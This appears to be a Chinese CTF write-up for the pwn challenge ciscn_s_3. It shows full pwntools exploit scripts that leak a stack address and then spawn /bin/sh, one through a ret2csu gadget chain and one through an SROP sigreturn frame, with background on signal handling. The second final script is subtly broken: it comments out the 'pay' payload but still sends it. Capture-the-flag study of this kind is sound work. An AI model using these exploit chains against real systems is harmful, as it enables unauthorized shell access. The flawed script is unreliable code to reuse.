ciscn_s_3--retsyscall与csu的结合及srop_sigreturn的简单使用

基础检查

放入ida

存在栈溢出,并且buf只有0x10,而write有0x30,因此可以泄露栈上的内容

3B=59是execv的调用号,这个指令可以调用内核execv

如果能够知道/bin/sh的地址,就可以获得shell

因为栈上没有/bin/sh,可以考虑read读入,结合前面有漏洞可以泄露栈上的位置,

考虑用write泄露某一栈上地址,在计算此地址到输入点的偏移,

这样当我们输入/bin/sh时就可以得到这个地址

这个地址存的是程序名

如图也在泄露范围内

那么就可以泄露这个地址

可以算出此地址到输入点的偏移为0x118

所以第一个payload的构造为

payload=b'/bin/sh\x00'+b'a'*8+p64(vuln)
io.sendline(payload)
io.recv(0x20)
binsh=u64(io.recv(8))-0x118
print(hex(binsh))

 payload2的构造

方法一

pay=b'/bin/sh\x00'*2
pay+=p64(pop_csu)
pay+=p64(0)*2
pay+=p64(binsh+0x50)
pay+=p64(0)*3
pay+=p64(mov_call)
pay+=p64(mov_rax)
pay+=p64(rdi)
pay+=p64(binsh)
pay+=p64(syscall)
io.sendline(pay)

解释

在execve的系统调用中

参数布局为

rdi=/bin/sh

rsi=0

rdx=0

因为找不到可用的rsi和rdx

我们考虑用csu间接将参数传给rsi 和rdx

这个payload的构造非常巧妙 将rbx和rbp设为0,r12设为(binsh+0x50)都有特别用意

(1)根据我们前面payload的构造

可以知道binsh+0x50就是将execve调用号放入rax的指令,方便进行syscall

(2)首先将rbx和rbp 设为0

使得通不过 cmp rbx,rbp

从而通过jnz指令跳回0x400580

这时候rbx已被加1,所以这次call的地址就变为(binsh+0x50+8)即pop_rdi的位置让我们能够继续控制程序

因为rsi 和rdx已经设置完了,那接下来只要将binsh传入rdi并执行syscall即可获得shell

最终exp

from pwn import *

io=process('./ciscn_s_3')
context.log_level='debug'
context(arch='amd64', os='linux')
elf=ELF('./ciscn_s_3')

pop_csu=0x40059A
mov_call=0x400580
rdi=0x4005A3
vuln=0x4004ED
mov_rax=0x4004E2
syscall=0x400501
payload=b'/bin/sh\x00'+b'a'*8+p64(vuln)
io.sendline(payload)
io.recv(0x20)
binsh=u64(io.recv(8))-0x118
print(hex(binsh))
pay=b'/bin/sh\x00'*2+p64(pop_csu)+p64(0)*2+p64(binsh+0x50)+p64(0)*3+p64(mov_call)+p64(mov_rax)+p64(rdi)+p64(binsh)+p64(syscall)
io.sendline(pay)
"""frame=SigreturnFrame()
frame.rax=constants.SYS_execve
frame.rdi=binsh
frame.rsi=0x0
frame.rdx=0x0
frame.rip=syscall
payload=b'/bin/sh\x00'.ljust(0x10,b'a')+p64(0x4004da)+p64(syscall)+bytes(frame)"""

io.interactive()

方法二 srop利用

原理:

这里基础知识就搬运ctfwiki上的了,讲解的我觉得很全面了,我也会进行添加补充讲解,便于理解。

signal 机制是类 unix 系统中进程之间相互传递信息的一种方法。一般,我们也称其为软中断信号,或者软中断。比如说,进程之间可以通过系统调用 kill 来发送软中断信号。一般来说,信号机制常见的步骤如下图所示:

  1. 内核向某个进程发送 signal 机制,该进程会被暂时挂起,进入内核态。
  2. 内核会为该进程保存相应的上下文,主要是将所有寄存器压入栈中,以及压入 signal 信息,以及指向 sigreturn 的系统调用地址。此时栈的结构如下图所示,我们称 ucontext 以及 siginfo 这一段为 Signal Frame。需要注意的是,这一部分是在用户进程的地址空间的。之后会跳转到注册过的 signal handler 中处理相应的 signal。因此,当 signal handler 执行完之后,就会执行 sigreturn 代码。

①保存上下文环境(即各种寄存器),接下来走到②执行信号处理函数,处理完后③恢复相关栈环境,④继续执行用户程序。而在恢复寄存器环境时没有去校验这个栈是不是合法的,如果我们能够控制栈,就能在恢复上下文环境这个环节直接设定相关寄存器的值。

在执行sigreturn 之后的restore context阶段,整个frame是在用户态,同时会执行大量的pop指令,这时我们就可以直接设定寄存器的值来伪造一个虚假的frame从而getshell

使用SROP的前提

  • 首先程序必须存在溢出,能够控制返回地址。

  • 可以去系统调用sigreturn(如果找不到合适的系统调用号,可以看看能不能利用read函数来控制RAX的值)

  • 必须能够知道/bin/sh的地址,如果写的bss段,直接写地址就行,如果写到栈里,还需要想办法去泄露栈地址。

  • 允许溢出的长度足够长,这样可以去布局我们想要的寄存器的值

  • 需要知道syscall指令的地址

    frame=SigreturnFrame()
    frame.rax=constants.SYS_execve
    frame.rdi=binsh
    frame.rsi=0x0
    frame.rdx=0x0
    frame.rip=syscall
    payload=b'/bin/sh\x00'.ljust(0x10,b'a')+p64(0x4004da)+p64(syscall)+bytes(frame)

    注意这里的syscall必须是syscall_ret,来控制程序

最终exp

from pwn import *

io=process('./ciscn_s_3')
context.log_level='debug'
context(arch='amd64', os='linux')
elf=ELF('./ciscn_s_3')

pop_csu=0x40059A
mov_call=0x400580
rdi=0x4005A3
vuln=0x4004ED
mov_rax=0x4004E2
syscall=0x400517
payload=b'/bin/sh\x00'+b'a'*8+p64(vuln)
io.sendline(payload)
io.recv(0x20)
binsh=u64(io.recv(8))-0x118
print(hex(binsh))
'''pay=b'/bin/sh\x00'*2+p64(pop_csu)+p64(0)*2+p64(binsh+0x50)+p64(0)*3+p64(mov_call)+p64(mov_rax)+p64(rdi)+p64(binsh)+p64(syscall)'''
io.sendline(pay)
frame=SigreturnFrame()
frame.rax=constants.SYS_execve
frame.rdi=binsh
frame.rsi=0x0
frame.rdx=0x0
frame.rip=syscall
payload=b'/bin/sh\x00'.ljust(0x10,b'a')+p64(0x4004da)+p64(syscall)+bytes(frame)
io.sendline(payload)

io.interactive()

 拿到shell

  • 26
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值